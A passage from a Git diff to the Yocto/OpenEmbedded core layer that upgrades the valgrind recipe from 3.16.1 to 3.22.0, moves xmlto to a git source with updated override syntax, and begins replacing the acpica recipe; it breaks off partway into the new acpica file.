+++ b/meta/recipes-devtools/valgrind/valgrind/use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch
@@ -15,7 +15,7 @@ over-ride that).
See similar cases in none/tests/arm/Makefile.am
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=454346]
Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
---
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb b/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb
deleted file mode 100644
index 484a229a1a..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb
+++ /dev/null
@@ -1,230 +0,0 @@
-SUMMARY = "Valgrind memory debugger and instrumentation framework"
-HOMEPAGE = "http://valgrind.org/"
-BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
-LICENSE = "GPLv2 & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://include/pub_tool_basics.h;beginline=6;endline=29;md5=41c410e8d3f305aee7aaa666b2e4f366 \
- file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
- file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
-
-DEPENDS = " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
- "
-
-SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
- file://fixed-perl-path.patch \
- file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
- file://run-ptest \
- file://remove-for-aarch64 \
- file://0004-Fix-out-of-tree-builds.patch \
- file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
- file://0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch \
- file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
- file://avoid-neon-for-targets-which-don-t-support-it.patch \
- file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
- file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
- file://0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch \
- file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
- file://0002-context-APIs-are-not-available-on-musl.patch \
- file://0003-correct-include-directive-path-for-config.h.patch \
- file://0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch \
- file://0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch \
- file://0002-memcheck-x86-Define-__THROW-if-not-defined.patch \
- file://0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch \
- file://0001-fix-opcode-not-supported-on-mips32-linux.patch \
- file://0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch \
- file://0001-Make-local-functions-static-to-avoid-assembler-error.patch \
- file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
- file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
- file://0001-adjust-path-filter-for-2-memcheck-tests.patch \
- file://s390x_vec_op_t.patch \
- file://0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch \
- file://0001-memcheck-tests-Fix-timerfd-syscall-test.patch \
- "
-SRC_URI[md5sum] = "d1b153f1ab17cf1f311705e7a83ef589"
-SRC_URI[sha256sum] = "c91f3a2f7b02db0f3bc99479861656154d241d2fdb265614ba918cc6720a33ca"
-UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
-
-COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
-
-# valgrind supports armv7 and above
-COMPATIBLE_HOST_armv4 = 'null'
-COMPATIBLE_HOST_armv5 = 'null'
-COMPATIBLE_HOST_armv6 = 'null'
-
-# valgrind fails with powerpc soft-float
-COMPATIBLE_HOST_powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', 'null', '.*-linux', d)}"
-
-# X32 isn't supported by valgrind at this time
-COMPATIBLE_HOST_linux-gnux32 = 'null'
-COMPATIBLE_HOST_linux-muslx32 = 'null'
-
-# Disable for some MIPS variants
-COMPATIBLE_HOST_mipsarchr6 = 'null'
-COMPATIBLE_HOST_linux-gnun32 = 'null'
-
-# Disable for powerpc64 with musl
-COMPATIBLE_HOST_libc-musl_powerpc64 = 'null'
-
-# brokenseip is unfortunately required by ptests to pass
-inherit autotools-brokensep ptest multilib_header
-
-EXTRA_OECONF = "--enable-tls --without-mpicc"
-EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
-
-# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
-EXTRA_OECONF_append_arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
-
-EXTRA_OEMAKE = "-w"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-# valgrind likes to control its own optimisation flags. It generally defaults
-# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
-# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
-# which fixes build path issue in DWARF.
-SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
-
-do_configure_prepend () {
- rm -rf ${S}/config.h
- sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
- sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
-}
-
-do_install_append () {
- install -m 644 ${B}/default.supp ${D}/${libdir}/valgrind/
- oe_multilib_header valgrind/config.h
-}
-
-VALGRINDARCH ?= "${TARGET_ARCH}"
-VALGRINDARCH_aarch64 = "arm64"
-VALGRINDARCH_x86-64 = "amd64"
-VALGRINDARCH_x86 = "x86"
-VALGRINDARCH_mips = "mips32"
-VALGRINDARCH_mipsel = "mips32"
-VALGRINDARCH_mips64el = "mips64"
-VALGRINDARCH_powerpc = "ppc"
-VALGRINDARCH_powerpc64 = "ppc64"
-VALGRINDARCH_powerpc64el = "ppc64le"
-
-INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
-
-RDEPENDS_${PN} += "perl"
-
-# valgrind needs debug information for ld.so at runtime in order to
-# redirect functions like strlen.
-RRECOMMENDS_${PN} += "${TCLIBC}-dbg"
-
-RDEPENDS_${PN}-ptest += " bash coreutils file \
- gdb libgomp \
- perl \
- perl-module-getopt-long perl-module-file-basename perl-module-file-glob \
- procps sed ${PN}-dbg ${PN}-src"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-
-# One of the tests contains a bogus interpreter path on purpose.
-# Skip file dependency check
-SKIP_FILEDEPS_${PN}-ptest = '1'
-INSANE_SKIP_${PN}-ptest = "debug-deps"
-
-do_compile_ptest() {
- oe_runmake check
-}
-
-do_install_ptest() {
- chmod +x ${B}/tests/vg_regtest
-
- # The test application binaries are not automatically installed.
- # Grab them from the build directory.
- #
- # The regression tests require scripts and data files that are not
- # copied to the build directory. They must be copied from the
- # source directory.
- saved_dir=$PWD
- for parent_dir in ${S} ${B} ; do
- cd $parent_dir
-
- subdirs=" \
- .in_place \
- cachegrind/tests \
- callgrind/tests \
- dhat/tests \
- drd/tests \
- gdbserver_tests \
- helgrind/tests \
- lackey/tests \
- massif/tests \
- memcheck/tests \
- none/tests \
- tests \
- exp-bbv/tests \
- exp-dhat/tests \
- exp-sgcheck/tests \
- "
- # Get the vg test scripts, filters, and expected files
- for dir in $subdirs ; do
- find $dir | cpio -pvdu ${D}${PTEST_PATH}
- done
- cd $saved_dir
- done
-
- # The scripts reference config.h so add it to the top ptest dir.
- cp ${B}/config.h ${D}${PTEST_PATH}
- install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
-
- # Add an executable need by none/tests/bigcode
- mkdir ${D}${PTEST_PATH}/perf
- cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
-
- # Add an executable needed by memcheck/tests/vcpu_bz2
- cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
-
- # Make the ptest dir look like the top level valgrind src dir
- # This is checked by the gdbserver_tests/make_local_links script
- mkdir ${D}${PTEST_PATH}/coregrind
- cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
-
- # Add an executable needed by massif tests
- cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
-
- find ${D}${PTEST_PATH} \
- \( \
- -name "Makefile*" \
- -o -name "*.o" \
- \) \
- -exec rm {} \;
-
- # These files need to be newer so touch them.
- touch ${D}${PTEST_PATH}/cachegrind/tests/a.c -r ${D}${PTEST_PATH}/cachegrind/tests/cgout-test
-
- # find *_annotate in ${bindir} for yocto build
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann1.vgtest
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann2.vgtest
-
- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
- sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
-
- # This test fails on the host as well, using both 3.15 and git master (as of Jan 24 2020)
- # https://bugs.kde.org/show_bug.cgi?id=402833
- rm ${D}${PTEST_PATH}/memcheck/tests/overlap.vgtest
-
- # As the binary isn't stripped or debug-splitted, the source file isn't fetched
- # via dwarfsrcfiles either, so it needs to be installed manually.
- mkdir -p ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
- install ${S}/none/tests/tls.c ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
-}
-
-# avoid stripping some generated binaries otherwise some of the tests will fail
-# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
-INHIBIT_PACKAGE_STRIP_FILES = "\
- ${PKGD}${PTEST_PATH}/none/tests/tls \
- ${PKGD}${PTEST_PATH}/none/tests/tls.so \
- ${PKGD}${PTEST_PATH}/none/tests/tls2.so \
- ${PKGD}${PTEST_PATH}/helgrind/tests/tc09_bad_unlock \
- ${PKGD}${PTEST_PATH}/memcheck/tests/manuel1 \
- ${PKGD}${PTEST_PATH}/drd/tests/pth_detached3 \
-"
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.22.0.bb b/meta/recipes-devtools/valgrind/valgrind_3.22.0.bb
new file mode 100644
index 0000000000..563d99f0e2
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind_3.22.0.bb
@@ -0,0 +1,276 @@
+SUMMARY = "Valgrind memory debugger and instrumentation framework"
+HOMEPAGE = "http://valgrind.org/"
+DESCRIPTION = "Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail."
+BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://include/pub_tool_basics.h;beginline=6;endline=29;md5=41c410e8d3f305aee7aaa666b2e4f366 \
+ file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
+ file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
+
+DEPENDS = " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
+ "
+
+SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
+ file://fixed-perl-path.patch \
+ file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
+ file://run-ptest \
+ file://remove-for-aarch64 \
+ file://remove-for-all \
+ file://taskset_nondeterministic_tests \
+ file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
+ file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
+ file://avoid-neon-for-targets-which-don-t-support-it.patch \
+ file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
+ file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
+ file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
+ file://0003-correct-include-directive-path-for-config.h.patch \
+ file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
+ file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
+ file://0001-memcheck-vgtests-remove-fullpath-after-flags.patch \
+ file://s390x_vec_op_t.patch \
+ file://0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch \
+ file://0001-memcheck-tests-Fix-timerfd-syscall-test.patch \
+ file://0001-docs-Disable-manual-validation.patch \
+ file://0001-valgrind-monitor.py-regular-expressions-should-use-r.patch \
+ file://0002-Bug-476548-valgrind-3.22.0-fails-on-assertion-when-l.patch \
+ file://0003-Add-fchmodat2-syscall-on-linux.patch \
+ file://0004-Bug-478624-Valgrind-incompatibility-with-binutils-2..patch \
+ "
+SRC_URI[sha256sum] = "c811db5add2c5f729944caf47c4e7a65dcaabb9461e472b578765dd7bf6d2d4c"
+UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
+
+COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
+
+# patch 0001-memcheck-vgtests-remove-fullpath-after-flags.patch removes relative path
+# argument. Change expected stderr files accordingly.
+do_patch:append() {
+ bb.build.exec_func('do_sed_paths', d)
+}
+
+do_sed_paths() {
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/badfree3.stderr.exp
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/varinfo5.stderr.exp
+}
+
+# valgrind supports armv7 and above
+COMPATIBLE_HOST:armv4 = 'null'
+COMPATIBLE_HOST:armv5 = 'null'
+COMPATIBLE_HOST:armv6 = 'null'
+
+# valgrind fails with powerpc soft-float
+COMPATIBLE_HOST:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', 'null', '.*-linux', d)}"
+
+# X32 isn't supported by valgrind at this time
+COMPATIBLE_HOST:linux-gnux32 = 'null'
+COMPATIBLE_HOST:linux-muslx32 = 'null'
+
+# Disable for some MIPS variants
+COMPATIBLE_HOST:mipsarchr6 = 'null'
+COMPATIBLE_HOST:linux-gnun32 = 'null'
+
+# Disable for powerpc64 with musl
+COMPATIBLE_HOST:libc-musl:powerpc64 = 'null'
+
+# brokenseip is unfortunately required by ptests to pass
+inherit autotools-brokensep ptest multilib_header
+
+EXTRA_OECONF = "--enable-tls --without-mpicc"
+EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
+
+# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
+EXTRA_OECONF:append:arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
+
+EXTRA_OEMAKE = "-w"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+
+# valgrind likes to control its own optimisation flags. It generally defaults
+# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
+# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
+# which fixes build path issue in DWARF.
+SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
+
+# Split out various helper scripts to separate packages to avoid the
+# main package depending on perl and python.
+PACKAGES =+ "${PN}-cachegrind ${PN}-massif ${PN}-callgrind"
+
+FILES:${PN}-cachegrind = "${bindir}/cg_*"
+FILES:${PN}-massif = "${bindir}/ms_*"
+FILES:${PN}-callgrind = "${bindir}/callgrind_*"
+
+RDEPENDS:${PN}-cachegrind = "${PN} python3-core"
+RDEPENDS:${PN}-massif = "${PN} perl"
+RDEPENDS:${PN}-callgrind = "${PN} perl"
+
+do_configure:prepend () {
+ rm -rf ${S}/config.h
+ sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
+ sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
+}
+
+do_install:append () {
+ install -m 644 ${B}/default.supp ${D}/${libexecdir}/valgrind/
+ oe_multilib_header valgrind/config.h
+}
+
+VALGRINDARCH ?= "${TARGET_ARCH}"
+VALGRINDARCH:aarch64 = "arm64"
+VALGRINDARCH:x86-64 = "amd64"
+VALGRINDARCH:x86 = "x86"
+VALGRINDARCH:mips = "mips32"
+VALGRINDARCH:mipsel = "mips32"
+VALGRINDARCH:mips64el = "mips64"
+VALGRINDARCH:powerpc = "ppc"
+VALGRINDARCH:powerpc64 = "ppc64"
+VALGRINDARCH:powerpc64le = "ppc64le"
+
+INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libexecdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
+
+# valgrind needs debug information for ld.so at runtime in order to
+# redirect functions like strlen.
+RRECOMMENDS:${PN} += "${TCLIBC}-dbg"
+
+RDEPENDS:${PN}-ptest += " bash coreutils curl file \
+ gdb \
+ ${TCLIBC}-src gcc-runtime-dbg \
+ libgomp \
+ perl \
+ perl-module-file-basename perl-module-file-glob perl-module-getopt-long \
+ perl-module-overloading perl-module-cwd perl-module-ipc-open3 \
+ perl-module-carp perl-module-symbol \
+ procps \
+ python3-compile \
+ sed \
+ util-linux-taskset \
+ ${PN}-dbg ${PN}-src \
+ ${PN}-cachegrind ${PN}-massif ${PN}-callgrind \
+"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils glibc-gconv-utf-32"
+
+# One of the tests contains a bogus interpreter path on purpose.
+# Skip file dependency check
+SKIP_FILEDEPS:${PN}-ptest = '1'
+INSANE_SKIP:${PN}-ptest = "debug-deps"
+
+do_compile_ptest() {
+ oe_runmake check
+}
+
+
+do_install_ptest() {
+ chmod +x ${B}/tests/vg_regtest
+
+ # The test application binaries are not automatically installed.
+ # Grab them from the build directory.
+ #
+ # The regression tests require scripts and data files that are not
+ # copied to the build directory. They must be copied from the
+ # source directory.
+ saved_dir=$PWD
+ for parent_dir in ${S} ${B} ; do
+ cd $parent_dir
+
+ subdirs=" \
+ .in_place \
+ cachegrind/tests \
+ callgrind/tests \
+ dhat/tests \
+ drd/tests \
+ gdbserver_tests \
+ helgrind/tests \
+ lackey/tests \
+ massif/tests \
+ memcheck/tests \
+ none/tests \
+ tests \
+ exp-bbv/tests \
+ "
+ # Get the vg test scripts, filters, and expected files
+ for dir in $subdirs ; do
+ find $dir | cpio -pvdu ${D}${PTEST_PATH}
+ done
+ cd $saved_dir
+ done
+
+ # The scripts reference config.h so add it to the top ptest dir.
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-all ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/taskset_nondeterministic_tests ${D}${PTEST_PATH}
+
+ # Add an executable need by none/tests/bigcode
+ mkdir ${D}${PTEST_PATH}/perf
+ cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
+
+ # Add an executable needed by memcheck/tests/vcpu_bz2
+ cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
+
+ # Make the ptest dir look like the top level valgrind src dir
+ # This is checked by the gdbserver_tests/make_local_links script
+ mkdir ${D}${PTEST_PATH}/coregrind
+ cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
+
+ # Add an executable needed by massif tests
+ cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
+
+ find ${D}${PTEST_PATH} \
+ \( \
+ -name "Makefile*" \
+ -o -name "*.o" \
+ \) \
+ -exec rm {} \;
+
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
+
+ # point the expanded @abs_top_builddir@ of the host to PTEST_PATH
+ sed -i s:${S}:${PTEST_PATH}:g \
+ ${D}${PTEST_PATH}/memcheck/tests/linux/debuginfod-check.vgtest
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@libexecdir@:${libexecdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
+
+ # enable cachegrind ptests
+ ln -s ${bindir}/cg_annotate ${D}/${PTEST_PATH}/cachegrind/cg_annotate
+ ln -s ${bindir}/cg_diff ${D}/${PTEST_PATH}/cachegrind/cg_diff
+ ln -s ${bindir}/cg_merge ${D}/${PTEST_PATH}/cachegrind/cg_merge
+
+ # This test fails on the host as well, using both 3.15 and git master (as of Jan 24 2020)
+ # https://bugs.kde.org/show_bug.cgi?id=402833
+ rm ${D}${PTEST_PATH}/memcheck/tests/overlap.vgtest
+
+ # This is known failure see https://bugs.kde.org/show_bug.cgi?id=435732
+ rm ${D}${PTEST_PATH}/memcheck/tests/leak_cpp_interior.vgtest
+
+ # https://bugs.kde.org/show_bug.cgi?id=445743
+ rm ${D}${PTEST_PATH}/drd/tests/pth_mutex_signal
+
+ # As the binary isn't stripped or debug-splitted, the source file isn't fetched
+ # via dwarfsrcfiles either, so it needs to be installed manually.
+ mkdir -p ${D}${TARGET_DBGSRC_DIR}/none/tests/
+ install ${S}/none/tests/tls.c ${D}${TARGET_DBGSRC_DIR}/none/tests/
+}
+
+do_install_ptest:append:x86-64 () {
+ # https://bugs.kde.org/show_bug.cgi?id=463456
+ rm ${D}${PTEST_PATH}/memcheck/tests/origin6-fp.vgtest
+ # https://bugs.kde.org/show_bug.cgi?id=463458
+ rm ${D}${PTEST_PATH}/memcheck/tests/vcpu_fnfns.vgtest
+ # https://bugs.kde.org/show_bug.cgi?id=463463
+ rm ${D}${PTEST_PATH}/none/tests/amd64/fma.vgtest
+}
+
+# avoid stripping some generated binaries otherwise some of the tests will fail
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES += "\
+ ${PKGD}${PTEST_PATH}/none/tests/tls \
+ ${PKGD}${PTEST_PATH}/none/tests/tls.so \
+ ${PKGD}${PTEST_PATH}/none/tests/tls2.so \
+ ${PKGD}${PTEST_PATH}/helgrind/tests/tc09_bad_unlock \
+ ${PKGD}${PTEST_PATH}/memcheck/tests/manuel1 \
+ ${PKGD}${PTEST_PATH}/drd/tests/pth_detached3 \
+"
diff --git a/meta/recipes-devtools/xmlto/xmlto-0.0.28/configure.in-drop-the-test-of-xmllint-and-xsltproc.patch b/meta/recipes-devtools/xmlto/xmlto-0.0.28/configure.in-drop-the-test-of-xmllint-and-xsltproc.patch
deleted file mode 100644
index 6d547a6c99..0000000000
--- a/meta/recipes-devtools/xmlto/xmlto-0.0.28/configure.in-drop-the-test-of-xmllint-and-xsltproc.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-configure.in: drop the test of xmllint and xsltproc
-
-The test is unnecessary, the xmllint and xsltproc were explicitly
-added to RDEPENDS.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.in b/configure.in
---- a/configure.in
-+++ b/configure.in
-@@ -42,10 +42,10 @@ AC_ARG_VAR([LOCALE], [Name and path of the `locale' program.])
- AC_PATH_PROG([LOCALE], [locale], [locale])
-
- AC_ARG_VAR([XMLLINT], [Name and path of the `xmllint' program.])
--AC_PATH_PROG([XMLLINT], [xmllint], [xmllint])
-+dnl AC_PATH_PROG([XMLLINT], [xmllint], [xmllint])
-
- AC_ARG_VAR([XSLTPROC], [Name and path of the `xsltproc' program.])
--AC_PATH_PROG([XSLTPROC], [xsltproc], [xsltproc])
-+dnl AC_PATH_PROG([XSLTPROC], [xsltproc], [xsltproc])
-
- dnl
- dnl toolchains
---
-1.8.1.2
-
diff --git a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
index 7d27c43c83..d5a0e69849 100644
--- a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
+++ b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
@@ -1,41 +1,47 @@
SUMMARY = "A shell-script tool for converting XML files to various formats"
-HOMEPAGE = "https://releases.pagure.org/xmlto/"
+HOMEPAGE = "https://pagure.io/xmlto"
+DESCRIPTION = "Utility xmlto is a simple shell-script tool for converting XML files to various formats. It serves as easy to use command line frontend to make fine output without remembering many long options and searching for the syntax of the backends."
SECTION = "docs/xmlto"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-SRC_URI = "https://releases.pagure.org/xmlto/xmlto-${PV}.tar.gz \
- file://configure.in-drop-the-test-of-xmllint-and-xsltproc.patch \
-"
-SRC_URI[md5sum] = "a1fefad9d83499a15576768f60f847c6"
-SRC_URI[sha256sum] = "2f986b7c9a0e9ac6728147668e776d405465284e13c74d4146c9cbc51fd8aad3"
+SRCREV = "6fa6a0e07644f20abf2596f78a60112713e11cbe"
+UPSTREAM_CHECK_COMMITS = "1"
+SRC_URI = "git://pagure.io/xmlto.git;protocol=https;branch=master"
+S = "${WORKDIR}/git"
+
+PV .= "+0.0.29+git"
inherit autotools
CLEANBROKEN = "1"
-DEPENDS = "libxml2-native"
+DEPENDS = "libxml2-native libxslt-native flex-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-RDEPENDS_${PN} = "docbook-xml-dtd4 \
+RDEPENDS:${PN} = "docbook-xml-dtd4 \
docbook-xsl-stylesheets \
util-linux \
libxml2 \
libxslt \
bash \
"
-RDEPENDS_${PN}_append_class-target = " \
+RDEPENDS:${PN}:append:class-target = " \
libxml2-utils \
libxslt-bin \
coreutils \
"
-CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail"
+CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail ac_cv_path_GREP=grep ac_cv_path_XMLLINT=xmllint ac_cv_path_XSLTPROC=xsltproc"
BBCLASSEXTEND = "native"
-EXTRA_OECONF_append = " BASH=/bin/bash GCP=/bin/cp XMLLINT=xmllint XSLTPROC=xsltproc"
+EXTRA_OECONF:append = " BASH=/bin/bash GCP=/bin/cp"
+
+do_configure:prepend() {
+ (cd ${S} && flex -o xmlif/xmlif.c xmlif/xmlif.l)
+}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/xmlto XML_CATALOG_FILES=${sysconfdir}/xml/catalog
}
diff --git a/meta/recipes-extended/acpica/acpica_20200528.bb b/meta/recipes-extended/acpica/acpica_20200528.bb
deleted file mode 100644
index d68afd8158..0000000000
--- a/meta/recipes-extended/acpica/acpica_20200528.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
-DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
-OS-independent reference implementation of the Advanced Configuration and \
-Power Interface Specification (ACPI). ACPICA code contains those portions of \
-ACPI meant to be directly integrated into the host OS as a kernel-resident \
-subsystem, and a small set of tools to assist in developing and debugging \
-ACPI tables."
-
-HOMEPAGE = "http://www.acpica.org/"
-SECTION = "console/tools"
-
-LICENSE = "Intel | BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=6adbcb81e9ee6ae50c569b94fe12f7c5"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-DEPENDS = "m4-native flex-native bison-native"
-
-SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz"
-SRC_URI[sha256sum] = "e69f81c6924c8d30f9b9005bb002307f07b5a1538e13c909bea2f8a44e0d8610"
-
-UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
-
-S = "${WORKDIR}/acpica-unix-${PV}"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "acpixtract acpidump"
-
-EXTRA_OEMAKE = "CC='${CC}' \
- OPT_CFLAGS=-Wall \
- DESTDIR=${D} \
- PREFIX=${prefix} \
- INSTALLDIR=${bindir} \
- INSTALLFLAGS= \
- "
-
-do_install() {
- oe_runmake install
-}
-
-# iasl*.bb is a subset of this recipe, so RREPLACE it
-PROVIDES = "iasl"
-RPROVIDES_${PN} += "iasl"
-RREPLACES_${PN} += "iasl"
-RCONFLICTS_${PN} += "iasl"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20240322.bb b/meta/recipes-extended/acpica/acpica_20240322.bb
new file mode 100644
index 0000000000..90e3599d32
--- /dev/null
+++ b/meta/recipes-extended/acpica/acpica_20240322.bb
@@ -0,0 +1,49 @@
+SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
+DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
+OS-independent reference implementation of the Advanced Configuration and \
